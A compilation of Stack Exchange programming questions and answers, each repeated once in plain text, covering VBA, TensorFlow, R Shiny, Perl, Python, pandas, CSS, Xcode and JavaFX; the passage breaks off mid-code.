问:
VBA code to clearcontents in excel
I just need  help to clear the contents of the cells (L,M) if the value in Column B is blank (i.e. customer is the same as the previous non-blank row) and if they are duplicates in column L for each customer.

For example:

```<code>       Customer (B)             Sales (L)    Description (M)
row1   James                     Laptop     Laptop sold
row2                             Laptop     Laptop sold
row3                            Iphone      Iphone sold
row4   Brian                    Iphone      Iphone sold
row5                             Mouse      Mouse sold
row6                             Iphone     Iphone sold
</code>```

Desired results:

```<code>       Customer (B)             Sales (L)    Description (M)
row1   James                     Laptop     Laptop sold
row2
row3                            Iphone      Iphone sold
row4   Brian                    Iphone      Iphone sold
row5                             Mouse      Mouse sold
row6
</code>```

答:
Update after @Masoud Comments
This matches the output desired

```<code>Option Explicit
Sub RemoveDuplicates()
    Dim rng As Range, c As Range, rCell As Range
    Dim temp As Range

    ' Update this to reference your sheet
    With Sheet1
        Set rng = .Range(.Cells(2, 1), .Cells(.Cells(.Rows.Count, 1).End(xlUp).Row, 1))
    End With

    For Each rCell In rng
        Set c = Nothing
        If rCell.Offset(0, 1) = vbNullString Then
            With rCell.Offset(0, 1)
                Set temp = Range(.End(xlUp), .End(xlDown).Offset(-1, 0)).Offset(0, 3)
            End With
            Set c = temp.Find(rCell.Offset(0, 4), lookat:=xlWhole, after:=rCell.Offset(0, 4))

            If Not c Is Nothing Then
                If rCell.Offset(0, 5) = c.Offset(0, 1) And c.Row <> rCell.Row Then
                    Range(rCell.Offset(0, 4), rCell.Offset(0, 5)).ClearContents
                End If
            End If
        End If
    Next rCell
End Sub
</code>```

Have a look at the below. This loops through all the rows in the sheet and if the cell in Column B is blank tries to find if it is present elsewhere in the sheet. If so it then clears the contents of that row.

I think you need to define a bit more what you consider a duplicate though. As in your question you:

leave row3 (duplicate of row6)

remove row2 (not a duplicate unless you ignore Customer)

So you have a break in your logic. If you're comparing customers (i.e. leaving Row3) then only row6 should end up being removed. However, if you aren't comparing customers as well as part of the duplicates then row3 should also be removed from the desired results.

```<code>Option Explicit
Public Sub RemoveDuplicates()
    Dim rng As Range, c As Range, rCell As Range

    ' Update this to reference your sheet
    With Sheet1
        Set rng = .Range(.Cells(2, 1), .Cells(.Cells(.Rows.Count, 1).End(xlUp).Row, 1))
    End With

    For Each rCell In rng
        Set c = Nothing
        If rCell.Offset(0, 1) = vbNullString Then
            Set c = rng.Offset(0, 4).Find(rCell.Offset(0, 4), lookat:=xlWhole, after:=rCell.Offset(0, 4))

            If Not c Is Nothing Then
                '' If not including customer in comparison
                If rCell.Offset(0, 5) = c.Offset(0, 1) And c.Row <> rCell.Row Then
                '' Uncomment below and comment above if comparing customers as well
                'If rCell.Offset(0, 5) = c.Offset(0, 1) And rCell.Offset(0, 1).Value = c.Offset(0, -3).Value And c.Row <> rCell.Row Then

                    Range(rCell.Offset(0, 4), rCell.Offset(0, 5)).ClearContents
                End If
            End If
        End If
    Next rCell
End Sub
</code>```

Title: VBA code to clearcontents in excel

Body:
I just need  help to clear the contents of the cells (L,M) if the value in Column B is blank (i.e. customer is the same as the previous non-blank row) and if they are duplicates in column L for each customer.

For example:

       Customer (B)             Sales (L)    Description (M)
row1   James                     Laptop     Laptop sold
row2                             Laptop     Laptop sold
row3                            Iphone      Iphone sold
row4   Brian                    Iphone      Iphone sold
row5                             Mouse      Mouse sold
row6                             Iphone     Iphone sold

Desired results:

       Customer (B)             Sales (L)    Description (M)
row1   James                     Laptop     Laptop sold
row2
row3                            Iphone      Iphone sold
row4   Brian                    Iphone      Iphone sold
row5                             Mouse      Mouse sold
row6

Body:
Update after @Masoud Comments
This matches the output desired

Option Explicit
Sub RemoveDuplicates()
    Dim rng As Range, c As Range, rCell As Range
    Dim temp As Range

    ' Update this to reference your sheet
    With Sheet1
        Set rng = .Range(.Cells(2, 1), .Cells(.Cells(.Rows.Count, 1).End(xlUp).Row, 1))
    End With

    For Each rCell In rng
        Set c = Nothing
        If rCell.Offset(0, 1) = vbNullString Then
            With rCell.Offset(0, 1)
                Set temp = Range(.End(xlUp), .End(xlDown).Offset(-1, 0)).Offset(0, 3)
            End With
            Set c = temp.Find(rCell.Offset(0, 4), lookat:=xlWhole, after:=rCell.Offset(0, 4))

            If Not c Is Nothing Then
                If rCell.Offset(0, 5) = c.Offset(0, 1) And c.Row <> rCell.Row Then
                    Range(rCell.Offset(0, 4), rCell.Offset(0, 5)).ClearContents
                End If
            End If
        End If
    Next rCell
End Sub

Have a look at the below. This loops through all the rows in the sheet and if the cell in Column B is blank tries to find if it is present elsewhere in the sheet. If so it then clears the contents of that row.

I think you need to define a bit more what you consider a duplicate though. As in your question you:

leave row3 (duplicate of row6)

remove row2 (not a duplicate unless you ignore Customer)

So you have a break in your logic. If you're comparing customers (i.e. leaving Row3) then only row6 should end up being removed. However, if you aren't comparing customers as well as part of the duplicates then row3 should also be removed from the desired results.

Option Explicit
Public Sub RemoveDuplicates()
    Dim rng As Range, c As Range, rCell As Range

    ' Update this to reference your sheet
    With Sheet1
        Set rng = .Range(.Cells(2, 1), .Cells(.Cells(.Rows.Count, 1).End(xlUp).Row, 1))
    End With

    For Each rCell In rng
        Set c = Nothing
        If rCell.Offset(0, 1) = vbNullString Then
            Set c = rng.Offset(0, 4).Find(rCell.Offset(0, 4), lookat:=xlWhole, after:=rCell.Offset(0, 4))

            If Not c Is Nothing Then
                '' If not including customer in comparison
                If rCell.Offset(0, 5) = c.Offset(0, 1) And c.Row <> rCell.Row Then
                '' Uncomment below and comment above if comparing customers as well
                'If rCell.Offset(0, 5) = c.Offset(0, 1) And rCell.Offset(0, 1).Value = c.Offset(0, -3).Value And c.Row <> rCell.Row Then

                    Range(rCell.Offset(0, 4), rCell.Offset(0, 5)).ClearContents
                End If
            End If
        End If
    Next rCell
End Sub


来源: stackexchange

问:
How to clip the gradient norm on the grad_and_var tuple in tensorflow-r1.0?
After getting the grad_and_var tuple with compute_gradient:

```<code>opt = tf.train.RMSPropOptimizer(learning_rate)
grad_and_var = opt.compute_gradients(losses, params)
</code>```

I'd like to clip the grad_and_var. But when I do:

```<code>clipped_gradients, _ = tf.clip_by_global_norm(grad_and_var, max_gradient_norm)
</code>```

directly, the resulting clipped_gradients is a list of tensor, that means, the gradient and the variables has been concatenated.

If I do

```<code>clipped_gradients = [tf.clip_by_global_norm(x[0], max_gradient_norm)[0] for x in grad_and_var]
</code>```

I got such an error:

```<code>TypeError: t_list should be a sequence
</code>```

Do you have any idea that how can I fix it? Thanks a lot!

答:
One possible approach that I have seen is to zip clipped_gradients and your variables and to use opt.apply_gradients on the zipped list, like in the code below (taken from here, lines 78-83):

```<code>tvars = tf.trainable_variables()
grads, _ = tf.clip_by_global_norm(tf.gradients(self.cost, tvars),
                args.grad_clip)
with tf.name_scope('optimizer'):
    optimizer = tf.train.AdamOptimizer(self.lr)
self.train_op = optimizer.apply_gradients(zip(grads, tvars))
</code>```

ContentLicense: CC BY-SA 3.0

Body:
After getting the grad_and_var tuple with compute_gradient:

opt = tf.train.RMSPropOptimizer(learning_rate)
grad_and_var = opt.compute_gradients(losses, params)

I'd like to clip the grad_and_var. But when I do:

clipped_gradients, _ = tf.clip_by_global_norm(grad_and_var, max_gradient_norm)

directly, the resulting clipped_gradients is a list of tensor, that means, the gradient and the variables has been concatenated.

If I do

clipped_gradients = [tf.clip_by_global_norm(x[0], max_gradient_norm)[0] for x in grad_and_var]

I got such an error:

TypeError: t_list should be a sequence

Do you have any idea that how can I fix it? Thanks a lot!

Body:
One possible approach that I have seen is to zip clipped_gradients and your variables and to use opt.apply_gradients on the zipped list, like in the code below (taken from here, lines 78-83):

tvars = tf.trainable_variables()
grads, _ = tf.clip_by_global_norm(tf.gradients(self.cost, tvars),
                args.grad_clip)
with tf.name_scope('optimizer'):
    optimizer = tf.train.AdamOptimizer(self.lr)
self.train_op = optimizer.apply_gradients(zip(grads, tvars))


问:
Execute Microsoft SQL query on R Shiny
I am writing an R-Shiny app. Can some one tell me how to execute a Microsoft SQL query in R Shiny ?

This is what I have done so far:

```<code>data <- reactive({
    conn <- reactive ({ databaseOpen(serverName="[serverName]", databaseName=[dbName])})
    qr <- reactive ({ SELECT * from myTable })
    res <- reactive ({databaseQuery(conn = conn,query = qr)})
    close(conn)
    View(res)
})
</code>```

Any help is appreciated !

答:
I was able to call a query by creating a function outside of the server and ui functions (in other words, in a global.r).  Then the server function could call that query function using one of the inputs in the function.

Here is my code:

```<code>queryfunction <- function(zipper){

  odbcChannel <- odbcConnect("myconnection")

  querydoc <- paste0("
                SELECT distinct *
                     FROM mydb
                     where substring(nppes_provider_zip,1,2) = '43'
                     and [provider_type] = 'General Practice'
                     ")

   pricetable <- sqlQuery(odbcChannel, querydoc)

   close(odbcChannel)

   pricetable[which(substring(pricetable$nppes_provider_zip,1,5)==zipper),]
}

server <- shinyServer(function(input, output) {

  output$mytable1 <-   renderDataTable(data.table(queryfunction(input$zip)))
})
</code>```

Title: Execute Microsoft SQL query on R Shiny

Body:
I am writing an R-Shiny app. Can some one tell me how to execute a Microsoft SQL query in R Shiny ?

This is what I have done so far:

data <- reactive({
    conn <- reactive ({ databaseOpen(serverName="[serverName]", databaseName=[dbName])})
    qr <- reactive ({ SELECT * from myTable })
    res <- reactive ({databaseQuery(conn = conn,query = qr)})
    close(conn)
    View(res)
})

Any help is appreciated !

Body:
I was able to call a query by creating a function outside of the server and ui functions (in other words, in a global.r).  Then the server function could call that query function using one of the inputs in the function.

Here is my code:

queryfunction <- function(zipper){

  odbcChannel <- odbcConnect("myconnection")

  querydoc <- paste0("
                SELECT distinct *
                     FROM mydb
                     where substring(nppes_provider_zip,1,2) = '43'
                     and [provider_type] = 'General Practice'
                     ")

   pricetable <- sqlQuery(odbcChannel, querydoc)

   close(odbcChannel)

   pricetable[which(substring(pricetable$nppes_provider_zip,1,5)==zipper),]
}

server <- shinyServer(function(input, output) {

  output$mytable1 <-   renderDataTable(data.table(queryfunction(input$zip)))
})


问:
Issue with eval_in_page - Trying to interpolate an array
```<code>my @para_text = $mech->xpath('/html/body/form/table/tbody/tr[2]/td[3]/table/tbody/tr[2]/td/table/tbody/tr[3]/td/div/div/div', type => $mech->xpathResult('STRING_TYPE'));
#BELOW IS JUST TO MAKE SURE THE ABOVE CAPTURED THE CORRECT TEXT
print "Look here: @para_text";

$mech->click_button( id => "lnkHdrreplyall");
$mech->eval_in_page('document.getElementsByName("txtbdy")[0].value = "@para_text"');
</code>```

In the last line of my code I need to put the contents of the @para_text array as the text to output into a text box on a website however from the "document" till the end of the line it needs to be surrounded by '  ' to work. Obviously this doesnt allow interpolation as that would require "  " Any ideas on what to do?

答:
To define a string that itself contains double quotes as well as interpolating variable values, you may use the alternative form of the double quote qq/ ... /, where you can choose the delimiter yourself and prevent the double quote " from being special

So you can write

```<code>$mech->eval_in_page(qq/document.getElementsByName("txtbdy")[0].value = "@para_text"/)
</code>```

Body:
my @para_text = $mech->xpath('/html/body/form/table/tbody/tr[2]/td[3]/table/tbody/tr[2]/td/table/tbody/tr[3]/td/div/div/div', type => $mech->xpathResult('STRING_TYPE'));
#BELOW IS JUST TO MAKE SURE THE ABOVE CAPTURED THE CORRECT TEXT
print "Look here: @para_text";

$mech->click_button( id => "lnkHdrreplyall");
$mech->eval_in_page('document.getElementsByName("txtbdy")[0].value = "@para_text"');

In the last line of my code I need to put the contents of the @para_text array as the text to output into a text box on a website however from the "document" till the end of the line it needs to be surrounded by '  ' to work. Obviously this doesnt allow interpolation as that would require "  " Any ideas on what to do?

Body:
To define a string that itself contains double quotes as well as interpolating variable values, you may use the alternative form of the double quote qq/ ... /, where you can choose the delimiter yourself and prevent the double quote " from being special

So you can write

$mech->eval_in_page(qq/document.getElementsByName("txtbdy")[0].value = "@para_text"/)


问:
Why is this Python function not working?
Keeps returning "You are older than some hills" even if i input less than 30</p>

```<code>age = raw_input("What age are you?")
def old(n):
  if n >= 30:
    print "You are older than some hills"
  else:
    print "Youth"

old(age)
</code>```

答:
Because you forgot to convert your input to a number, as it stands it is a string, and in Python 2 any string is always greater than any number.

Use int(raw_input("What age are you?"))

(Python 3 throws an error when you try to compare a string and a number, which is a good design decision.)

Body:
Keeps returning "You are older than some hills" even if i input less than 30

age = raw_input("What age are you?")
def old(n):
  if n >= 30:
    print "You are older than some hills"
  else:
    print "Youth"

old(age)


问:
data structure to store and manipulate efficienty pixels :
l have a set of images (1000 images). each one has a dimension of 3072.
each image has this representation :
image 1 for instance :

```<code>array([255, 78, 48, ..., 190, 230, 178], dtype=uint8)
</code>```

l want to store that in matrix such that each line represents a vector (3072) of an image. which means l get at the end a matrix of (1000,3072)
here is what l tried

```<code>matrix_of_images= []
for img in images:
    data.append(img)
    data.append(img2)
</code>```

however append list gives me a structure which is difficult to manipulate since l want to store it in csv file then call a part of an image.

```<code>[array([255, 255, 255, ..., 255, 255, 255], dtype=uint8), array([0, 0, 0, ..., 0, 0, 0], dtype=uint8), array([0, 0, 0, ..., 0, 0, 0], dtype=uint8), array([255, 255, 255, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8)]
</code>```

l'm looking for something like
X=

```<code>[

[23,56, 78,....,45,156],
[60,56, 104,....,145,157],
[78,45, 7,....,0,15],
[45,56, 178,....,5,200]

]
</code>```

where l can read form example

```<code>X[1] #  second image
 [60,56, 104,....,145,157]
X[1][2] # third pixel of second image
104
</code>```

a structure which is easy to store in csv file  where each pixel in a column.

EDIT :
the vectors to add at each iteration are img1 and img2

```<code>for i in range(1,500):

    #get coordinates
    #coords=npa[i,:]
    coords=npa.iloc[[i]]
    charac=characs[i-1]
    if (charac== "'/'"):
        charac= "'slash'"

    charac = charac.strip('"\'')
    #actual cropping of the image (easy with numpy)
    #img_charac=img[int(coords[2]):int(coords[4]),int(coords[3]):int(coords[5])]
    img_charac = img[int(coords[4]):int(coords[5]), int(coords[2]):int(coords[3])]
    #cv2.imwrite(path_save_cropped_images + str(charac) + "_" + str(i) + "_" + str(img_charac.shape) + ".png",  img_charac)

    #resize
    img_charac_resized=cv2.resize(img_charac, (32, 32), interpolation=cv2.INTER_NEAREST)
    #cv2.imwrite(path_save_resized_images + str(charac) + "_" + str(i) + "_" + str(img_charac_resized.shape) + ".png",img_charac_resized)
    #img_charac = cv2.resize(img_charac, (32, 32))

    #switch images
    img_charac_switched = 255 - img_charac_resized
    #cv2.imwrite(path_save_switched_pixels+ str(charac) +"_switched"+ "_" + str(i) + "_" + str(img_charac_switched.shape) + ".png",img_charac_switched)

    img1 = img_charac_resized.reshape((-1, 1))
    img1 = img1.T
    img1= img1.flatten()
    img1_label=charac

    img2=img_charac_switched.reshape((-1,1))
    img2=img2.T
    img2=img2.flatten()
    img2_label = charac
    #x=switch(charac)
    #saving the image

    #dataset

    #cv2.imwrite(path_dataset+ str(charac) + "_switched" + "_" + str(i) + "_" + str(img_charac_switched.shape) + ".png",img_charac_switched)
    #cv2.imwrite(path_dataset + str(charac) + "_" + str(i) + "_" + str(img_charac_resized.shape) + ".png",  img_charac_resized)

    #images = [img1,img2]
    img_arr = np.stack(img1, axis=0)
    img_arr = np.stack(img2, axis=0)
    #data.append(img1)
    #data.append(img2)

    #print (img_arr.shape)
    #print(i)

print(img_arr)
print(img_arr.shape)
</code>```

答:
```<code>images=[]

for i in range(1,500):

    img1= img1.flatten()

    img2=img2.flatten()
    #saving the image

    images.append(img1)
    images.append(img2)

img_arr = np.stack(images, axis=0)
print(len(images))
print(img_arr)
print(img_arr.shape)
</code>```

Body:
l have a set of images (1000 images). each one has a dimension of 3072.
each image has this representation :
image 1 for instance :

array([255, 78, 48, ..., 190, 230, 178], dtype=uint8)

l want to store that in matrix such that each line represents a vector (3072) of an image. which means l get at the end a matrix of (1000,3072)
here is what l tried

matrix_of_images= []
for img in images:
    data.append(img)
    data.append(img2)

however append list gives me a structure which is difficult to manipulate since l want to store it in csv file then call a part of an image.

[array([255, 255, 255, ..., 255, 255, 255], dtype=uint8), array([0, 0, 0, ..., 0, 0, 0], dtype=uint8), array([0, 0, 0, ..., 0, 0, 0], dtype=uint8), array([255, 255, 255, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8), array([255, 255, 255, ...,   0,   0,   0], dtype=uint8), array([  0,   0,   0, ..., 255, 255, 255], dtype=uint8)]

l'm looking for something like
X=

[

[23,56, 78,....,45,156],
[60,56, 104,....,145,157],
[78,45, 7,....,0,15],
[45,56, 178,....,5,200]

]

where l can read form example

X[1] #  second image
 [60,56, 104,....,145,157]
X[1][2] # third pixel of second image
104

a structure which is easy to store in csv file  where each pixel in a column.

EDIT :
the vectors to add at each iteration are img1 and img2

for i in range(1,500):

    #get coordinates
    #coords=npa[i,:]
    coords=npa.iloc[[i]]
    charac=characs[i-1]
    if (charac== "'/'"):
        charac= "'slash'"

    charac = charac.strip('"\'')
    #actual cropping of the image (easy with numpy)
    #img_charac=img[int(coords[2]):int(coords[4]),int(coords[3]):int(coords[5])]
    img_charac = img[int(coords[4]):int(coords[5]), int(coords[2]):int(coords[3])]
    #cv2.imwrite(path_save_cropped_images + str(charac) + "_" + str(i) + "_" + str(img_charac.shape) + ".png",  img_charac)

    #resize
    img_charac_resized=cv2.resize(img_charac, (32, 32), interpolation=cv2.INTER_NEAREST)
    #cv2.imwrite(path_save_resized_images + str(charac) + "_" + str(i) + "_" + str(img_charac_resized.shape) + ".png",img_charac_resized)
    #img_charac = cv2.resize(img_charac, (32, 32))

    #switch images
    img_charac_switched = 255 - img_charac_resized
    #cv2.imwrite(path_save_switched_pixels+ str(charac) +"_switched"+ "_" + str(i) + "_" + str(img_charac_switched.shape) + ".png",img_charac_switched)

    img1 = img_charac_resized.reshape((-1, 1))
    img1 = img1.T
    img1= img1.flatten()
    img1_label=charac

    img2=img_charac_switched.reshape((-1,1))
    img2=img2.T
    img2=img2.flatten()
    img2_label = charac
    #x=switch(charac)
    #saving the image

    #dataset

    #cv2.imwrite(path_dataset+ str(charac) + "_switched" + "_" + str(i) + "_" + str(img_charac_switched.shape) + ".png",img_charac_switched)
    #cv2.imwrite(path_dataset + str(charac) + "_" + str(i) + "_" + str(img_charac_resized.shape) + ".png",  img_charac_resized)

    #images = [img1,img2]
    img_arr = np.stack(img1, axis=0)
    img_arr = np.stack(img2, axis=0)
    #data.append(img1)
    #data.append(img2)

    #print (img_arr.shape)
    #print(i)

print(img_arr)
print(img_arr.shape)


问:
How to check if first character in a Python dataframe column is a digit
I have some address information in a Python dataframe, and I would like to check if the first character of one of the columns is a digit. I've found similar queries but nothing within a dataframe. I can extract the first character no problem using:

```<code>check = df['ADDRESS_LINE_1'].str[0]
</code>```

however if I try

```<code>check = df['ADDRESS_LINE_1'].str[0].isdigit()
</code>```

I get the error

```<code>'Series' object has no attribute 'isdigit'
</code>```

I can't find an equivalent code to get this to work in a dataframe. I've also tried creating a new column with the check information in, but this results in the same error. Any help is appreciated.

答:
you need to chain another str:

```<code>check = df['ADDRESS_LINE_1'].str[0].str.isdigit()
                                   #^ here
</code>```

Example:

```<code>In [127]:
s = pd.Series(['3asd', 'asd', '3423', 'a123'])
s.str[0].str.isdigit()

Out[127]:
0     True
1    False
2     True
3    False
dtype: bool
</code>```

You can use a regex to specifically target whether the first character is numerical:

```<code>In [128]:
s.str.match('^\d')

Out[128]:
0     True
1    False
2     True
3    False
dtype: bool
</code>```

The error is telling you that isdigit isn't a method for Series, str.isdigit is

Body:
I have some address information in a Python dataframe, and I would like to check if the first character of one of the columns is a digit. I've found similar queries but nothing within a dataframe. I can extract the first character no problem using:

check = df['ADDRESS_LINE_1'].str[0]

however if I try

check = df['ADDRESS_LINE_1'].str[0].isdigit()

I get the error

'Series' object has no attribute 'isdigit'

I can't find an equivalent code to get this to work in a dataframe. I've also tried creating a new column with the check information in, but this results in the same error. Any help is appreciated.

Body:
you need to chain another str:

check = df['ADDRESS_LINE_1'].str[0].str.isdigit()
                                   #^ here

Example:

In [127]:
s = pd.Series(['3asd', 'asd', '3423', 'a123'])
s.str[0].str.isdigit()

Out[127]:
0     True
1    False
2     True
3    False
dtype: bool

You can use a regex to specifically target whether the first character is numerical:

In [128]:
s.str.match('^\d')

Out[128]:
0     True
1    False
2     True
3    False
dtype: bool

The error is telling you that isdigit isn't a method for Series, str.isdigit is


问:
Align button at the bottom of div using CSS
I want to align my button at the bottom right corner of my div. How can I do that?

Current css of div:

```<code>    float: right;
    width: 83%;
    margin-right: 0px;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    height:625px;
    overflow:auto;
</code>```

答:
CSS3 flexbox can also be used to align button at the bottom of parent element.

Required HTML:

```<code><div class="container">
  <div class="btn-holder">
    <button type="button">Click</button>
  </div>
</div>
</code>```

Necessary CSS:

```<code>.container {
  justify-content: space-between;
  flex-direction: column;
  height: 100vh;
  display: flex;
}
.container .btn-holder {
  justify-content: flex-end;
  display: flex;
}
</code>```

Screenshot:

Useful Resources:

Specs

MDN

CSS Tricks

* {box-sizing: border-box;}
body {
  background: linear-gradient(orange, yellow);
  font: 14px/18px Arial, sans-serif;
  margin: 0;
}
.container {
  justify-content: space-between;
  flex-direction: column;
  height: 100vh;
  display: flex;
  padding: 10px;
}
.container .btn-holder {
  justify-content: flex-end;
  display: flex;
}
.container .btn-holder button {
  padding: 10px 25px;
  background: blue;
  font-size: 16px;
  border: none;
  color: #fff;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="container">
  <p>Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... </p>
  <div class="btn-holder">
    <button type="button">Click</button>
  </div>
</div></code>```

Body:
I want to align my button at the bottom right corner of my div. How can I do that?

Current css of div:

    float: right;
    width: 83%;
    margin-right: 0px;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    height:625px;
    overflow:auto;

Body:
CSS3 flexbox can also be used to align button at the bottom of parent element.

Required HTML:

<div class="container">
  <div class="btn-holder">
    <button type="button">Click</button>
  </div>
</div>

Necessary CSS:

.container {
  justify-content: space-between;
  flex-direction: column;
  height: 100vh;
  display: flex;
}
.container .btn-holder {
  justify-content: flex-end;
  display: flex;
}

Screenshot:

Useful Resources:

Specs

MDN

CSS Tricks

* {box-sizing: border-box;}
body {
  background: linear-gradient(orange, yellow);
  font: 14px/18px Arial, sans-serif;
  margin: 0;
}
.container {
  justify-content: space-between;
  flex-direction: column;
  height: 100vh;
  display: flex;
  padding: 10px;
}
.container .btn-holder {
  justify-content: flex-end;
  display: flex;
}
.container .btn-holder button {
  padding: 10px 25px;
  background: blue;
  font-size: 16px;
  border: none;
  color: #fff;
}

<div class="container">
  <p>Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... Lorem ip sum dolor sit amet... </p>
  <div class="btn-holder">
    <button type="button">Click</button>
  </div>
</div>


问:
iOS Xcode LaunchScreen Storyboard not displaying
I'm trying to use Xcode's LaunchScreen storyboard as my launch screen?  All the questions that have previously been asked about this refer back to the old launch image or .xib method - trying to do it now with the new LaunchScreen storyboard that Xcode automatically generates instead.  I've selected the LaunchScreen storyboard as my launch screen file in my Deployment Info:

The storyboard itself confirms that it is set as the launch screen in it's file inspector.

And the info.plist file reflects this as well.

And yet, it doesn't work.  The LaunchScreen storyboard never shows - it just goes straight to the first screen in my main storyboard.  Using Xcode 7.2 and deploying to iOS 9.

答:
Just in case it helps someone.
Scenario, I created my new project and copied a old Launch Image from another project. And then started getting the launch image but when I wanted to change it to new image then still i was viewing the old image it was stuck for ever as launch image no matter what I do.
Then I reset my Simulator and restarted my iPhone and there you go I stared getting the new image. This looks like that somewhere in the documents or cache the devices store the old image until you reset the phone.
Thanks</p>

ContentLicense: CC BY-SA 4.0


问:
setting a listener on array of of objects
I have an array of wrapper objects which wrap javafx controls:

CheckBox

Spinner

I want to be able to listen to changes on the CheckBox or the Spinner. I have tried extracting the information I need but the problem with this is that it only works if the array has Spinner only.

Some of my code:

```<code>ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               return new Observable[] {
                    ((Spinner) param.getControl()).valueProperty()
                };
          }
     }
);
</code>```

WrapperClass.java

```<code>private Item item;
private Control control;

public WrapperClass(Item item, Control control) {
    this.item = item;
    this.control = control;
}
</code>```

答:
A fairly naive but straightforward solution would just be to test the type of the wrapped node:

```<code>ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               if (param.getControl() instanceof Spinner) {
                   return new Observable[] {
                       ((Spinner) param.getControl()).valueProperty()
                   };
               } else if (param.getControl() instanceof CheckBox) {
                   return new Observable[] {
                       ((CheckBox) param.getControl()).selectedProperty()
                   };
               } else return new Observable[0] ;
          }
     }
);
</code>```

A more elegant approach would be to expose the appropriate property from the WrapperClass. You could make WrapperClass abstract:

```<code>public abstract class WrapperClass {

    private Item item;
    private Control control;

    public WrapperClass(Item item, Control control) {
        this.item = item;
        this.control = control;
    }

    public abstract Observable observableValue() ;

}
</code>```

and then create concrete subclasses:

```<code>public class SpinnerWrapper extends WrapperClass {

    private final Spinner spinner ;

    public SpinnerWrapper(Item item, Spinner spinner) {
        super(item, spinner);
        this.spinner = spinner ;
    }

    @Override
    public Observable observableValue() {
        return spinner.valueProperty();
    }
}
</code>```

and similarly for CheckBoxSpinner. Then you just need

```<code>ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               return new Observable[] {
                    param.observableValue()
                };
          }
     }
);
</code>```

Alternatively, you could make WrapperClass generic and supply a function to it that returns the property you need:

```<code>public class WrapperClass<C extends Control> {

    private Item item ;
    private C control ;

    private Function<C, Observable> valueFunction ;

    public WrapperClass(Item item, C control, Function<C, Observable> valueFunction) {
        this.item = item ;
        this.control = control ;
        this.valueFunction = valueFunction ;
    }

    public Observable observableValue() {
        return valueFunction.apply(control);
    }
}
</code>```

which you would instantiate as

```<code>WrapperClass<Spinner> spinnerWrapper = new WrapperClass(someItem, someSpinner,
    Spinner::valueProperty);
WrapperClass<CheckBox> checkBoxWrapper = new WrapperClass(someOtherItem, someCheckBox,
    CheckBox::selectedProperty);
</code>```

The observable list would be created with the extractor just returning param.observableValue() as above.

Body:
I have an array of wrapper objects which wrap javafx controls:

CheckBox

Spinner

I want to be able to listen to changes on the CheckBox or the Spinner. I have tried extracting the information I need but the problem with this is that it only works if the array has Spinner only.

Some of my code:

ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               return new Observable[] {
                    ((Spinner) param.getControl()).valueProperty()
                };
          }
     }
);

WrapperClass.java

private Item item;
private Control control;

public WrapperClass(Item item, Control control) {
    this.item = item;
    this.control = control;
}

Body:
A fairly naive but straightforward solution would just be to test the type of the wrapped node:

ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               if (param.getControl() instanceof Spinner) {
                   return new Observable[] {
                       ((Spinner) param.getControl()).valueProperty()
                   };
               } else if (param.getControl() instanceof CheckBox) {
                   return new Observable[] {
                       ((CheckBox) param.getControl()).selectedProperty()
                   };
               } else return new Observable[0] ;
          }
     }
);

A more elegant approach would be to expose the appropriate property from the WrapperClass. You could make WrapperClass abstract:

public abstract class WrapperClass {

    private Item item;
    private Control control;

    public WrapperClass(Item item, Control control) {
        this.item = item;
        this.control = control;
    }

    public abstract Observable observableValue() ;

}

and then create concrete subclasses:

public class SpinnerWrapper extends WrapperClass {

    private final Spinner spinner ;

    public SpinnerWrapper(Item item, Spinner spinner) {
        super(item, spinner);
        this.spinner = spinner ;
    }

    @Override
    public Observable observableValue() {
        return spinner.valueProperty();
    }
}

and similarly for CheckBoxSpinner. Then you just need

ObservableList<WrapperClass>  WrapperObjectList = FXCollections.observableArrayList(
     new Callback<WrapperClass, Observable[]>() {
          @Override
          public Observable[] call(WrapperClass param) {
               return new Observable[] {
                    param.observableValue()
                };
          }
     }
);

Alternatively, you could make WrapperClass generic and supply a function to it that returns the property you need:

public class WrapperClass<C extends Control> {

    private Item item ;
    private C control ;

    private Function<C, Observable> valueFunction ;

    public WrapperClass(Item item, C control, Function<C, Observable> valueFunction) {
        this.item = item ;
        this.control = control ;
        this.valueFunction = valueFunction ;
    }

    public Observable observableValue() {
        return valueFunction.apply(control);
    }
}

which you would instantiate as

WrapperClass<Spinner> spinnerWrapper = new WrapperClass(someItem, someSpinner,
    Spinner::valueProperty);
WrapperClass<CheckBox> checkBoxWrapper = new WrapperClass(someOtherItem, someCheckBox,
